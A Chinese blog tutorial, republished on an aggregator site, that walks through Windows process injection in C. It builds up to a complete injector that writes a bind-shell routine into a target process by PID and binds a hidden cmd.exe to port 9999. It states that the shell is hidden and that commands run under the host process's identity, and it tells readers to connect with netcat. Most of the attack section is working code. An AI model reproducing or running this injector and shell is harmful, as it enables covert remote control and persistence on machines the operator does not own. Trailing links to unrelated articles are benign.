1.12 进程注入ShellCode套接字

在笔者前几篇文章中我们一直在探讨如何利用Metasploit这个渗透工具生成ShellCode以及如何将ShellCode注入到特定进程内，本章我们将自己实现一个正向ShellCodeShell，当进程被注入后，则我们可以通过利用NC等工具连接到被注入进程内，并以对方的权限及身份执行命令，该功能有利于于Shell的隐藏。本章的内容其原理与《运用C语言编写ShellCode代码》中所使用的原理保持一致，通过动态定位到我们所需的网络通信函数并以此来构建一个正向Shell，本章节内容对Metasploit工具生成的Shell原理的理解能够起到促进作用。

读者需要理解，套接字（socket）是计算机网络中一种特殊的文件，是网络通信中的一种技术，用于实现进程之间的通信和网络中数据的传输。在网络通信中，套接字就像一条传送数据的管道，负责数据的传输和接收。而socket（套接字）是在网络通信中最常用的一种通信协议，它定义了一组用于网络通信的API。通过使用socket，程序员可以在不同的计算机之间进行通信。读者可以将两者理解为一个意思。

1.12.1 读入Kernel32模块基址

为了能让读者更清晰的认识功能实现细节，首先笔者先来实现一个简单的读取特定模块内函数的入口地址，并输出该模块地址的功能，需要注意的是，在之前的文章中笔者已经介绍了这种读取技术，当时使用的是汇编版实现，由于需要自定位代码的支持导致汇编语言的实现过于繁琐，其实此类代码在应用层实现仅仅只需要调用GetProcAddress()即可获取到核心参数，其实先细节如下所示；

#include <iostream>
#include <Windows.h>// Kernel32 调用约定定义
typedef HMODULE(WINAPI* LOADLIBRARY)(LPCTSTR lpFileName);
typedef FARPROC(WINAPI* GETPROCADDRESS) (HMODULE hModule, LPCSTR lpProcName);typedef struct _ShellBase
{// 针对Kernel32的操作HANDLE KernelHandle;        // 存储句柄char kernelstring[20];      // 存储字符串 kernel32.dll// 针对User32的操作HANDLE UserHandle;         // 存储句柄    char userstring[20];       // 存储字符串 user32.dll// 定义函数指针LOADLIBRARY KernelLoadLibrary;GETPROCADDRESS KernelGetProcAddress;
}ShellParametros;int main(int argc,char *argv[])
{ShellParametros Param;// 得到加载基地址的工具函数Param.KernelHandle = LoadLibrary("kernel32.dll");Param.KernelLoadLibrary = (LOADLIBRARY)GetProcAddress((HINSTANCE)Param.KernelHandle, "LoadLibraryA");Param.KernelGetProcAddress = (GETPROCADDRESS)GetProcAddress((HINSTANCE)Param.KernelHandle, "GetProcAddress");printf("获取到Kernel32.dll = 0x%08X \n", Param.KernelHandle);system("pause");return 0;
}

这段代码主要是定义了一个结构体ShellParametros，并初始化了其中的一些参数。该结构体中定义了两个HANDLE类型的变量KernelHandle和UserHandle，分别用于存储kernel32.dll和user32.dll的句柄。同时，也定义了两个字符串数组kernelstring和userstring，用于存储对应的库名。

接下来，定义了两个函数指针类型LOADLIBRARY和GETPROCADDRESS，分别用于后续的动态库加载和函数导出操作。

在main函数中，首先初始化了ShellParametros结构体类型的变量Param。然后，调用LoadLibrary函数加载kernel32.dll库，并通过GetProcAddress函数分别获取LoadLibraryA和GetProcAddress函数的地址，并将它们赋值给Param.KernelLoadLibrary和Param.KernelGetProcAddress函数指针变量。最终打印出获取到的kernel32.dll的基地址，以及等待用户按下任意键退出程序。

该代码拆分来看，首先是入口处的结构体定义部分，这部分定义了一个结构体ShellParametros，其中包含了对于kernel32.dll和user32.dll库的操作的句柄和字符串，以及相关的函数指针类型LOADLIBRARY和GETPROCADDRESS。

// Kernel32 调用约定定义
typedef HMODULE(WINAPI* LOADLIBRARY)(LPCTSTR lpFileName);
typedef FARPROC(WINAPI* GETPROCADDRESS) (HMODULE hModule, LPCSTR lpProcName);typedef struct _ShellBase
{// 针对Kernel32的操作HANDLE KernelHandle;        // 存储句柄char kernelstring[20];      // 存储字符串 kernel32.dll// 针对User32的操作HANDLE UserHandle;         // 存储句柄    char userstring[20];       // 存储字符串 user32.dll// 定义函数指针LOADLIBRARY KernelLoadLibrary;GETPROCADDRESS KernelGetProcAddress;
}ShellParametros;

而在主函数中，首先声明了一个结构体变量Param，然后调用LoadLibrary函数加载kernel32.dll库，将得到的句柄存储到Param.KernelHandle中。接着通过调用GetProcAddress函数获取LoadLibraryA和GetProcAddress函数的地址，将得到的函数地址分别存储到Param.KernelLoadLibrary和Param.KernelGetProcAddress中。最后通过printf函数打印出获取到的Kernel32.dll的基址。

int main(int argc, char *argv[])
{ShellParametros Param;// 得到加载基地址的工具函数Param.KernelHandle = LoadLibrary("kernel32.dll");Param.KernelLoadLibrary = (LOADLIBRARY)GetProcAddress((HINSTANCE)Param.KernelHandle, "LoadLibraryA");Param.KernelGetProcAddress = (GETPROCADDRESS)GetProcAddress((HINSTANCE)Param.KernelHandle, "GetProcAddress");printf("获取到Kernel32.dll = 0x%08X \n", Param.KernelHandle);printf("获取到KernelLoadLibrary = 0x%08X \n", Param.KernelLoadLibrary);printf("获取到GetProcAddress = 0x%08X \n", Param.KernelGetProcAddress);system("pause");return 0;
}

这段代码没有任何难度，相信读者能够理解其实先的核心原理，当读者运行此段代码，则会分别输出Kernel32.dll，LoadLibraryA及GetProcAddress这三个模块函数的基址，输出效果如下图所示；

1.12.2 进程注入MsgBox弹窗

通过进程注入功能将一个具有自定位功能的函数的机器码注入到远程进程中，并运行输出一个弹窗，该功能的输出形式与前几章中的内容很相似，但却有本质的不同，首先前几章内容中我们注入的数据为纯粹的ShellCode代码，此类代码的缺陷在于一旦被生成则在注入时无法动态更改参数，而本章实现的注入技术则是动态填充内存并注入，从实用价值上来说本章中所演示的注入技术将更加通用及灵活。

动态弹窗的注入技术同样需要定义关键函数指针，如下将分别定义三个函数指针，这些API函数的函数指针类型定义：

  • LOADLIBRARY：LoadLibrary函数的函数指针类型，用于将动态链接库(DLL)加载到调用进程的地址空间中。
  • GETPROCADDRESS：GetProcAddress函数的函数指针类型，用于从DLL中检索导出函数或变量的地址。
  • MESSAGEBOX：MessageBox函数的函数指针类型，用于创建、显示和操作消息框。WINAPI调用约定指定了如何传递函数参数和清理堆栈。

这些函数指针类型通常用于动态加载DLL和运行时链接导出函数。通过使用这些函数指针，程序可以在运行时获取函数地址并动态调用它们。

// Kernel32 调用约定定义
typedef HMODULE(WINAPI* LOADLIBRARY)(LPCTSTR lpFileName);
typedef FARPROC(WINAPI* GETPROCADDRESS) (HMODULE hModule, LPCSTR lpProcName);// User32 中针对MessageBox的调用约定定义
typedef int(WINAPI* MESSAGEBOX)(HWND hWnd, LPCSTR lpText, LPCSTR lpCaption, UINT uType);

接着我们需要定义一个ShellParametros结构体，该结构体的作用是用与传递参数到子线程MyShell(ShellParametros* ptr)中以供其使用，当然读者也可以使用普通变量形式，只是普通变量在参数传递时没有传递结构方便快捷，如下从结构中可看出，我们分别传递kernel32.dll,LoadLibrary,GetProcAddress及MessageBoxA的函数地址，并附带有该函数弹窗User_MsgBox的提示信息；

typedef struct _ShellBase
{// 针对Kernel32的操作HANDLE Kernel32Base;char KernelString[20]; // kernel32.dllLOADLIBRARY Kernel_LoadLibrary;GETPROCADDRESS Kernel_GetProcAddress;// 针对User32的操作HANDLE User32Base;char UserString[20];   // 存储 user32.dll 字符串char User_MsgBox[20];  // 存储 MessageBoxA 字符串// 输出一段话char Text[32];}ShellParametros;

接着就是关于__stdcall MyShell(ShellParametros*);函数的封装，这是一个用于远程线程的函数定义，函数名为MyShell，采用__stdcall调用约定。该函数的参数是一个名为ptr的指向ShellParametros结构体的指针。

函数的实现包括以下步骤：

  • 1.通过调用ptr->Kernel_LoadLibrary函数动态加载指定的Kernel32和User32库，并将它们的句柄保存在ptr->Kernel32Base和ptr->User32Base变量中。
  • 1.使用 ptr->Kernel_GetProcAddress 函数获取 User32 库中名为 ptr->User_MsgBox 的导出函数的地址，并将其转换为 MESSAGEBOX 函数指针类型的变量 msgbox。
  • 1.调用 msgbox 函数，显示 ptr->Text 变量中保存的文本内容。

该函数的作用是在远程线程中动态加载Kernel32和User32库，并调用User32库中的MessageBox函数显示指定的文本内容。

void __stdcall MyShell(ShellParametros*);// 定义远程线程函数
void __stdcall MyShell(ShellParametros* ptr)
{ptr->Kernel32Base = (HANDLE)(*ptr->Kernel_LoadLibrary)(ptr->KernelString);ptr->User32Base = (HANDLE)(*ptr->Kernel_LoadLibrary)(ptr->UserString);// printf("动态获取到Kernel32基地址 = %x \n", ptr->Kernel32Base);// printf("动态获取到User32基地址 = %x \n", ptr->User32Base);// MESSAGEBOX msgbox = (MESSAGEBOX)(*ptr->KernelGetProcAddress)((HINSTANCE)ptr->UserHandle, "MessageBoxA");MESSAGEBOX msgbox = (MESSAGEBOX)(*ptr->Kernel_GetProcAddress)((HINSTANCE)ptr->User32Base, ptr->User_MsgBox);//printf("MessageBox 基地址 = %x \n", msgbox);msgbox(0, ptr->Text, 0, 0);
}

最后我们来看一下在主函数中我们需要做什么，在主函数中通过GetProcAddress函数分别得到我们所需要的函数入口地址，并通过调用strcpy函数分别将所需参数写出到ShellParametros结构体中保存，当一切准备就绪再通过OpenProcess打开远程进程，并设置一段读写执行内存空间，并调用WriteProcessMemory将MyShell函数写出到该内存中保存，最后调用CreateRemoteThread开辟远程线程，执行弹窗功能；

这段代码主要包括以下步骤：

  • 1.定义了一个ShellParametros类型的变量Param和一个指向ShellParametros结构体的指针remote，并声明了一个HANDLE类型的变量hProcess和一个void*类型的变量p。
  • 2.使用LoadLibrary和GetProcAddress函数获取Kernel32库中的LoadLibrary和GetProcAddress函数的地址，并将其保存到Param结构体的相应字段中。
  • 3.分别将 kernel32.dll 和 user32.dll 的文件名字符串保存到 Param 结构体的相应字段中，并将需要注入的代码函数名和文本字符串分别保存到 Param 结构体的相应字段中。
  • 4.使用 OpenProcess 函数打开指定 PID 的进程，并分别使用 VirtualAllocEx 函数在该进程中分配内存空间，分别保存注入代码和 Param 结构体的数据。
  • 5.使用 WriteProcessMemory 函数将注入代码和 Param 结构体的数据写入到指定进程中的内存空间中。
  • 6.使用 CreateRemoteThread 函数创建一个远程线程，将注入代码的地址和 Param 结构体的地址传递给远程线程，并在指定进程中执行注入的代码。

代码的作用是在指定进程中注入代码，并调用该代码中的 MyShell 函数，该函数将动态加载 Kernel32 和 User32 库，并调用 User32 库中的 MessageBox 函数显示指定的文本内容。

int main(int argc, char* argv[])
{ShellParametros Param, *remote = NULL;HANDLE hProcess;void* p = NULL;// 进程PIDint ProcessID = 4016;// 得到加载基地址的工具函数Param.Kernel32Base = LoadLibrary("kernel32.dll");Param.Kernel_LoadLibrary = (LOADLIBRARY)GetProcAddress((HINSTANCE)Param.Kernel32Base, "LoadLibraryA");Param.Kernel_GetProcAddress = (GETPROCADDRESS)GetProcAddress((HINSTANCE)Param.Kernel32Base, "GetProcAddress");// printf("获取到Kernel32.dll = %x", Param.KernelHandle);// 分别获取Kernel32与User32的对应字符串strcpy(Param.KernelString, "kernel32.dll");strcpy(Param.UserString, "user32.dll");strcpy(Param.User_MsgBox, "MessageBoxA");strcpy(Param.Text, "hello lyshark");// 根据PID注入代码到指定进程中hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, ProcessID);p = VirtualAllocEx(hProcess, 0, 4096 * 2, MEM_COMMIT, PAGE_EXECUTE_READWRITE);remote = (ShellParametros*)VirtualAllocEx(hProcess, 0, sizeof(ShellParametros), MEM_COMMIT, PAGE_READWRITE);WriteProcessMemory(hProcess, p, &MyShell, 4096 * 2, 0);WriteProcessMemory(hProcess, remote, &Param, sizeof(ShellParametros), 0);CreateRemoteThread(hProcess, 0, 0, (DWORD(__stdcall*)(void*)) p, remote, 0, 0);// MyShell(&Param);return 0;
}

至此读者可以将上述代码编译下来，但需要注意的是，由于我们采用了动态生成ShellCode的功能，所以在使用此类代码是应关闭编译环境中的DEP及ASLR机制，否则由于地址的动态变化我们的代码将无法成功定位函数入口，也就无法注入Shell；

DEP（Data Execution Prevention）保护是一种防止攻击者在内存中执行恶意代码的技术。它通过将内存中的数据和代码区分开来，从而使得攻击者无法在数据区执行代码。DEP保护通过硬件和软件两种方式来实现。硬件实现通过CPU硬件中的NX位，禁止在数据区执行代码。软件实现通过操作系统内核检查每个进程中的内存页面的属性，禁止在非执行属性（NX）页面上执行代码。

ASLR（Address Space Layout Randomization）是一种防止攻击者利用缓冲区溢出等漏洞攻击的技术。它通过在每次程序运行时随机地分配内存地址，使得攻击者难以确定内存地址的位置，从而难以实现攻击。ASLR可以在操作系统内核、编译器和二进制代码等多个层面实现，如在编译时生成随机堆栈和堆地址、加载时随机化内存基地址等。

这两种技术都可以增强操作系统的安全性，防止恶意代码的攻击和利用。DEP保护主要针对代码执行方面，ASLR则主要针对代码和数据在内存中的分布方面。同时，两者也有一些弱点和缺陷，例如DEP保护可以被一些攻击技术绕过，ASLR的随机性可能会被暴力破解或者信息泄露等方式破坏。因此，在实际应用中需要综合考虑多种安全技术，以提高系统的安全性。

修改int ProcessID并改为被注入进程的PID=4016，然后直接运行注入程序，则读者会看到被注入进程弹出了一个MessageBox提示框，则说名我们的自定义Shell已经注入成功并运行了；

1.12.3 进程注入MyShell正向Shell

经过前面两个小案例的总结读者应该能够理解如何自己编写一个动态ShellCode注入软件了，但是上述提到的这些功能并不具备真正的意义，而本章将继续延申，并实现一种可被连接的正向ShellShell，在此案例中读者需要理解一种绑定技术，在默认情况下，Windows系统中的每一个进程都存在标准输入、输出和错误流的匿名管道，而cmd.exe进程同样存在这三种管道，要实现正向Shell，一般而言攻击者会创建一个监听指定端口的网络套接字，并将其绑定到一个命令行解释器（如 cmd.exe）的标准输入和输出流上，这样攻击者即可通过这个管道来使用远程的CMD命令行，并以此达到控制对方的目的。

将CMD绑定到套接字上通常涉及以下步骤：

  • 创建一个监听套接字，以便在客户端连接之前等待连接。监听套接字可以是TCP或UDP类型。
  • 调用bind()函数将监听套接字绑定到本地IP地址和端口上。这是让客户端知道要连接哪个地址和端口的关键步骤。
  • 调用listen()函数将监听套接字转换为被动套接字，并设置等待连接的队列的最大长度。
  • 调用accept()函数来接受客户端连接，这将创建一个新的套接字，它与客户端套接字相关联。
  • 调用CreateProcess()函数启动cmd.exe进程，并将标准输入、输出和错误流重定向到新创建的套接字上。

首先我们需要定义所需要调用的函数指针，下方代码定义了一组函数指针，每个函数指针都指向一个API函数，包括 LoadLibrary、GetProcAddress、Bind、Accept、Listen、WSAStartup、WSASocket、WSAConnect 和 CreateProcess。这些函数与动态链接库、套接字通信、网络编程、创建进程等有关。

#include <iostream>
#include <winsock2.h>#pragma comment(lib, "ws2_32.lib")// 定义各种指针变量
typedef HMODULE(WINAPI* LOADLIBRARY)(LPCTSTR);
typedef FARPROC(WINAPI* GETPROCADDRESS) (HMODULE, LPCSTR);typedef int (WINAPI* BIND) (SOCKET, const struct sockaddr*, int);
typedef SOCKET(WINAPI* ACCEPT) (SOCKET, struct sockaddr*, int*);
typedef int (WINAPI* LISTEN) (SOCKET, int);
typedef int (WINAPI* WSASTARTUP) (WORD, LPWSADATA);
typedef SOCKET(WINAPI* WSASOCKET) (int, int, int, LPWSAPROTOCOL_INFO, GROUP, DWORD);
typedef int (WINAPI* WSACONNECT) (SOCKET, const struct sockaddr*, int, LPWSABUF, LPWSABUF, LPQOS, LPQOS);
typedef BOOL(WINAPI* CREATEPROCESS) (LPCTSTR, LPTSTR, LPSECURITY_ATTRIBUTES, LPSECURITY_ATTRIBUTES, BOOL,DWORD, LPVOID, LPCTSTR, LPSTARTUPINFO, LPPROCESS_INFORMATION);

接着我们需要在原始ShellParametros中进行扩充，根据所需函数的多少来定义承载该函数内存地址的指针类型；

typedef struct
{HANDLE          KernelHandle;char            kernelstring[20];        // 存储kernel32.dll字符串char            CreateProcessstring[20]; // 存放函数名字字符串LOADLIBRARY     KernelLoadLibrary;GETPROCADDRESS  KernelGetProcAddress;CREATEPROCESS   KernelCreateProcess;HANDLE      WSAHandle;char        wsastring[20];char        wsastartupstring[20];char        WSASocketString[20];char        WSAConnectstring[20];char        bindstring[20];char        acceptstring[10];char        listenstring[10];WSASTARTUP  ShellWsaStartup;ACCEPT      ShellAccept;BIND        ShellBind;WSACONNECT  ShellWsaConnect;WSASOCKET   ShellWSASocket;LISTEN      ShellListen;unsigned short port;char cmd[255];
} PARAMETROS;

接着再来看核心MyShellShell实现函数，如下代码实现了一个远程Shell，通过动态链接库实现对API函数的调用。

首先，通过调用 LoadLibrary 和 GetProcAddress 函数，获取到 ws2.dll 和 kernel32.dll 中的函数地址，分别是 WSAStartup、WSASocket、WsaConnect、Bind、Accept、Listen、CreateProcess。

然后，通过调用 WSAStartup 函数初始化套接字编程，创建一个套接字，并绑定在一个端口。通过 Listen 函数监听连接请求，并使用 Accept 函数接收连接请求。

当有连接请求时，使用 CreateProcess 函数创建一个进程，并将标准输入、输出和错误重定向到网络套接字，实现远程 Shell。

// 调用的远程Shell代码
void __stdcall MyShell(PARAMETROS* ptr)
{STARTUPINFO si;struct sockaddr_in sa;PROCESS_INFORMATION pi;int s, n;WSADATA HWSAdata;// 通过GetProcAddress获取到ws2.dll中的所有函数地址ptr->WSAHandle = (HANDLE)(*ptr->KernelLoadLibrary)(ptr->wsastring);ptr->ShellWsaStartup = (WSASTARTUP)(*ptr->KernelGetProcAddress)((HINSTANCE)ptr->WSAHandle, ptr->wsastartupstring);ptr->ShellWSASocket = (WSASOCKET)(*ptr->KernelGetProcAddress)((HINSTANCE)ptr->WSAHandle, ptr->WSASocketString);ptr->ShellWsaConnect = (WSACONNECT)(*ptr->KernelGetProcAddress)((HINSTANCE)ptr->WSAHandle, ptr->WSAConnectstring);ptr->ShellBind = (BIND)(*ptr->KernelGetProcAddress)((HINSTANCE)ptr->WSAHandle, ptr->bindstring);ptr->ShellAccept = (ACCEPT)(*ptr->KernelGetProcAddress)((HINSTANCE)ptr->WSAHandle, ptr->acceptstring);ptr->ShellListen = (LISTEN)(*ptr->KernelGetProcAddress)((HINSTANCE)ptr->WSAHandle, ptr->listenstring);// 通过GetProcAddress获取到kernel32.dll中的所有函数地址ptr->KernelHandle = (HANDLE)(*ptr->KernelLoadLibrary)(ptr->kernelstring);ptr->KernelCreateProcess = (CREATEPROCESS)(*ptr->KernelGetProcAddress)((HINSTANCE)ptr->KernelHandle, ptr->CreateProcessstring);ptr->ShellWsaStartup(0x101, &HWSAdata);s = ptr->ShellWSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, 0, 0, 0);sa.sin_family = AF_INET;sa.sin_port = ptr->port;sa.sin_addr.s_addr = 0;ptr->ShellBind(s, (struct sockaddr*)&sa, 16);ptr->ShellListen(s, 1);while (1){n = ptr->ShellAccept(s, (struct sockaddr*)&sa, NULL);si.cb = sizeof(si);si.wShowWindow = SW_HIDE;si.dwFlags = STARTF_USESHOWWINDOW + STARTF_USESTDHANDLES; // 0x101si.hStdInput = si.hStdOutput = si.hStdError = (void*)n;si.lpDesktop = si.lpTitle = (char*)0x0000;si.lpReserved2 = NULL;ptr->KernelCreateProcess(NULL, ptr->cmd, NULL, NULL, TRUE, 0, NULL, NULL, (STARTUPINFO*)&si, &pi);}
}

最后再来看一下实现调用的主函数，代码中通过argv[1]也就是命令行参数传递，并绑定到(unsigned short)9999端口上，通过GetProcAddress依次获取所需函数内存地址并使用strcpy初始化结构体PARAMETROS，最后直接调用CreateRemoteThread实现线程Shell反弹。

  • 通过 LoadLibrary 和 GetProcAddress 函数获取到 kernel32.dll 中 LoadLibrary 和 GetProcAddress 函数的地址。然后，通过 strcpy 函数初始化一个 PARAMETROS 结构体，并填充该结构体的各个字段。
  • 通过 OpenProcess 函数打开目标进程，使用 VirtualAllocEx 函数在目标进程中分配内存，并使用 WriteProcessMemory 函数将代码和参数复制到目标进程的内存中。
  • 通过 CreateRemoteThread 函数在目标进程中创建一个线程，并将线程的入口点设置为 MyShell 函数，这样就实现了进程注入。
int main(int argc, char* argv[])
{void* p = NULL;HANDLE hProcess;PARAMETROS parametros, * remote;if (argc == 2){int PID = atoi(argv[1]);memset((void*)&parametros, 0, sizeof(PARAMETROS));strncpy(parametros.cmd, "cmd", sizeof("cmd") - 1);parametros.port = htons((unsigned short)9999);printf("[-] PID = %d \n", PID);// 获取到动态链接库加载函数地址parametros.KernelHandle = LoadLibrary("kernel32.dll");parametros.KernelLoadLibrary = (LOADLIBRARY)GetProcAddress((HINSTANCE)parametros.KernelHandle, "LoadLibraryA");parametros.KernelGetProcAddress = (GETPROCADDRESS)GetProcAddress((HINSTANCE)parametros.KernelHandle, "GetProcAddress");// 拷贝 winsock 字符串strcpy(parametros.wsastring, "ws2_32.dll");strcpy(parametros.wsastartupstring, "WSAStartup");strcpy(parametros.WSASocketString, "WSASocketW");strcpy(parametros.WSAConnectstring, "WSAConnect");strcpy(parametros.bindstring, "bind");strcpy(parametros.acceptstring, "accept");strcpy(parametros.listenstring, "listen");// 拷贝 kernel32 字符串strcpy(parametros.kernelstring, "kernel32.dll");strcpy(parametros.CreateProcessstring, "CreateProcessA");// 开始注入代码hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, PID);p = VirtualAllocEx(hProcess, 0, 4096 * 2, MEM_COMMIT, PAGE_EXECUTE_READWRITE);remote = (PARAMETROS*)VirtualAllocEx(hProcess, 0, sizeof(parametros), MEM_COMMIT, PAGE_READWRITE);WriteProcessMemory(hProcess, p, &MyShell, 4096 * 2, 0);WriteProcessMemory(hProcess, remote, &parametros, sizeof(PARAMETROS), 0);CreateRemoteThread(hProcess, 0, 0, (DWORD(__stdcall*)(void*)) p, remote, 0, 0);// CreateRemoteThread(hProcess, 0, 0, (DWORD(WINAPI *)(void *)) p, remote, 0, 0);printf("[+] 已注入进程 %d \n", PID);}return 0;
}

编译上述代码片段，并找到对应进程PID，通过参数MyShell.exe 8624传入被注入进程PID号，当注入成功后，会提示进程请求联网，此时一个不具备网络通信功能的进程，因我们注入了ShllShell，则自然就具备了网络通信的能力，如下图所示；

此时读者可下载32位版本的NC，通过使用执行命令nc [远程IP地址] [端口]连接到进程内部；

小提示：Netcat是一款网络工具，也称为nc工具，可以在不同的计算机之间进行数据传输。它可以在命令行中使用，并支持TCP/IP和UDP协议，其被誉为黑客界的瑞士军刀，是每个安全从业者不可或缺的利器。
官方网站：https://eternallybored.org/misc/netcat/

当连接到进程内部则会反弹一个CMDShell此时在该CMD下的所有操作都会被标记为宿主进程的操作。

本文作者： 王瑞
本文链接： https://www.lyshark.com/post/3e10758e.html
版权声明： 本博客所有文章除特别声明外，均采用 BY-NC-SA 许可协议。转载请注明出处！

本文来自互联网用户投稿，该文观点仅代表作者本人，不代表本站立场。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如若转载，请注明出处：http://www.mzph.cn/news/65541.shtml

如若内容造成侵权/违法违规/事实不符，请联系多彩编程网进行投诉反馈email:809451989@qq.com，一经查实，立即删除！

相关文章

【vue】this.$nextTick解决this.$refs undefined的问题

【vue】this.$nextTick解决this.$refs undefined的问题

说明 1、发邮件页面分成两个部分&#xff1a;模态框页面&#xff08;头部和底部&#xff09;和form页面&#xff08;操作按钮&#xff09; 2、点击回复按钮&#xff0c;要将发件人信息带到模态框页面&#xff0c;给定默认值且禁止收件人下拉选择&#xff08;多个邮箱&#xff…
阅读更多...
Windows Update Blocker，windows系统关闭自动更新工具

Windows Update Blocker，windows系统关闭自动更新工具

今天打开电脑发现系统又自动更新了 这一天天更新真的太烦了 然后我从网上找到一个工具 可以自由开启和关闭系统自动更新 这里分享一下网址&#xff1a;https://www.filehorse.com/download-windows-update-blocker/ 若网址失效&#xff0c;蓝奏云盘链接 https://wwgw.lanzouc.c…
阅读更多...
归并排序的详解！

归并排序的详解！

本文旨在讲解归并排序的实现&#xff08;递归及非递归&#xff09;搬好小板凳&#xff0c;干货来了&#xff01; 前序&#xff1a; 在介绍归并排序之前&#xff0c;需要给大家介绍的是什么是归并&#xff0c;归并操作&#xff0c;也叫归并算法&#xff0c;指的是将两个顺序序列…
阅读更多...
lv3 嵌入式开发-3 linux shell命令（文件搜索、文件处理、压缩）

lv3 嵌入式开发-3 linux shell命令（文件搜索、文件处理、压缩）

目录 1 查看文件相关命令 1.1 常用命令 1.2 硬链接和软链接 2 文件搜索相关命令 2.1 查找文件命令 2.2 查找文件内容命令 2.3 其他相关命令 3 文件处理相关命令 3.1 cut 3.2 sed 过滤 3.3 awk 匹配 4 解压缩相关命令 4.1 解压缩文件的意义 4.2 解压缩相关命令 1 …
阅读更多...
大学物理 之 安培环路定理

大学物理 之 安培环路定理

文章目录 前言什么是安培环路定理安培环路定理有什么作用 深入了解深入学习 前言 什么是安培环路定理 安培环路定理的物理意义在于描述了电流和磁场之间的相互作用&#xff0c;以及如何在一个封闭的回路中分析这种相互作用。 简单的来说 , 用环路定理来解决在磁场中B对任意封…
阅读更多...
[管理与领导-65]：IT基层管理者 - 辅助技能 - 4- 职业发展规划 - 乌卡时代(VUCA )

[管理与领导-65]：IT基层管理者 - 辅助技能 - 4- 职业发展规划 - 乌卡时代(VUCA )

前言&#xff1a; 大多数IT人&#xff0c;很勤奋&#xff0c;但都没有职业规划&#xff0c;被工作驱动着前行&#xff0c;然而&#xff0c;作为管理者&#xff0c;你就不能没有职业规划思维&#xff0c;因为你代表一个团队&#xff0c;你的思维决定了一个团队的思维。本文探讨…
阅读更多...
redis实战-实现优惠券秒杀解决超卖问题

redis实战-实现优惠券秒杀解决超卖问题

全局唯一ID 唯一ID的必要性 每个店铺都可以发布优惠券&#xff1a; 当用户抢购时&#xff0c;就会生成订单并保存到tb_voucher_order这张表中&#xff0c;而订单表如果使用数据库自增ID就存在一些问题&#xff1a; id的规律性太明显&#xff0c;容易被用户根据id的间隔来猜测…
阅读更多...
如何实现的手机实景自动直播，都有哪些功能呢？

如何实现的手机实景自动直播，都有哪些功能呢？

手机实景自动直播最近真的太火了&#xff0c;全程只需要一部手机&#xff0c;就能完成24小时直播带货&#xff0c;不需要真人出镜&#xff0c;不需要场地&#xff0c;不需要搭建直播间&#xff0c;只需要一部手机就可以了。真人语音讲解&#xff0c;真人智能回复&#xff0c;实…
阅读更多...
C#-单例模式

C#-单例模式

文章目录 单例模式的概述为什么会有单例模式如何创建单例模式1、首先要保证&#xff0c;该对象 有且仅有一个2、其次&#xff0c;需要让外部能够获取到这个对象 示例通过 属性 获取单例 单例模式的概述 总结来说&#xff1a; 单例 就是只有 一个实例对象。 模式 说的是设计模式…
阅读更多...
《Go 语言第一课》课程学习笔记（十二）

《Go 语言第一课》课程学习笔记（十二）

函数 Go 函数与函数声明 在 Go 语言中&#xff0c;函数是唯一一种基于特定输入&#xff0c;实现特定任务并可返回任务执行结果的代码块&#xff08;Go 语言中的方法本质上也是函数&#xff09;。在 Go 中&#xff0c;我们定义一个函数的最常用方式就是使用函数声明。 第一部…
阅读更多...
Mybatis学习|注解开发、lombok

Mybatis学习|注解开发、lombok

1.使用注解开发 无需再编写相应的Mapper.xml文件&#xff0c;直接将sql用注解的形式写在Mapper接口的对应方法上即可。 然后因为没有xml文件,所以要在mybatis-config.xml核心配置文件中注册这个Mapper接口&#xff0c;而不用去注册之前的Mapper.xml&#xff0c;这里其实如果用…
阅读更多...
QT listWidget 中实现元素的自由拖拽

QT listWidget 中实现元素的自由拖拽

QListWIdget中拖拽元素移动 setMovement(QListView::Movement::Free);setDragEnabled(true); setDragDropMode(DragDropMode::DragDrop); setDefaultDropAction(Qt::DropAction::MoveAction);
阅读更多...
nginx-反向代理缓存

nginx-反向代理缓存

反向代理缓存相当于自动化动静分离。 将上游服务器的资源缓存到nginx本地&#xff0c;当下次再有相同的资源请求时&#xff0c;直接讲nginx缓存的资源返回给客户端。 本地缓存资源有一个过期时间&#xff0c;当超过过期时间&#xff0c;则重新向上游服务器重新请求获取资源。…
阅读更多...
SIEM（安全信息和事件管理）解决方案

SIEM（安全信息和事件管理）解决方案

什么是SIEM 安全信息和事件管理&#xff08;SIEM&#xff09;是一种可帮助组织在安全威胁危害到业务运营之前检测、分析和响应安全威胁的解决方案&#xff0c;将安全信息管理 (SIM) 和安全事件管理 (SEM) 结合到一个安全管理系统中。SIEM 技术从广泛来源收集事件日志数据&…
阅读更多...
Matlab——二维绘图（最为详细，附上相关实例）

Matlab——二维绘图（最为详细，附上相关实例）

为了帮助各位同学备战数学建模和学习Matlab的使用&#xff0c;今天我们来聊一聊 Matlab 中的绘图技巧吧&#xff01;对于 Matlab 这样的科学计算软件来说&#xff0c;绘图是非常重要的一项功能。在数据处理和分析时&#xff0c;良好的绘图技巧能够更直观地呈现数据&#xff0c;…
阅读更多...
【DP】CF Edu 21 E

【DP】CF Edu 21 E

Problem - E - Codeforces 题意&#xff1a; 思路&#xff1a; 就是一个 N为1e5&#xff0c;M为3e5的背包问题&#xff0c;不过特殊条件是 w < 3 我们去从最简单的情况开始考虑 当只有w 1的物品和w 2的物品时&#xff0c;考虑贪心地把物品按价值排序&#xff0c;然后选…
阅读更多...
Docker部署项目

Docker部署项目

相关系列文章&#xff1a; 1、DockerHarbor私有仓库快速搭建 2、DockerJenkinsHarbor 3、Docker安装Mysql、Redis、nginx、nacos等环境 1、jenkins构建前端并上传服务器 在这篇文章中(DockerJenkinsHarbor)未完成前端的远程部署&#xff0c;这里对前端vue工程进行编译打包并上…
阅读更多...
虚拟内存相关笔记

虚拟内存相关笔记

虚拟内存是计算机系统内存管理的一个功能&#xff0c;它允许程序认为它们有比实际物理内存更多的可用内存。它使用硬盘来模拟额外的RAM。当物理内存不足时&#xff0c;操作系统将利用磁盘空间作为虚拟内存来存储数据。这种机制提高了资源的利用率并允许更大、更复杂的应用程序的…
阅读更多...
BLDC无感方波控制

BLDC无感方波控制

BLDC无感控制 反电动势过零检测反电动势检测方法比较器模式采样过零信号闭环的建立 BLDC 方波启动技术转子预定位电机的外同步加速电机运行状态的转换 程序部分 反电动势过零检测 它的主要核心就是通过检测定子绕组的反电动势过零点来判断转子当前的位置。 三相六状态 120通电…
阅读更多...
IDEA 报 Cannot resolve symbol ‘HttpServletResponse‘ 解决

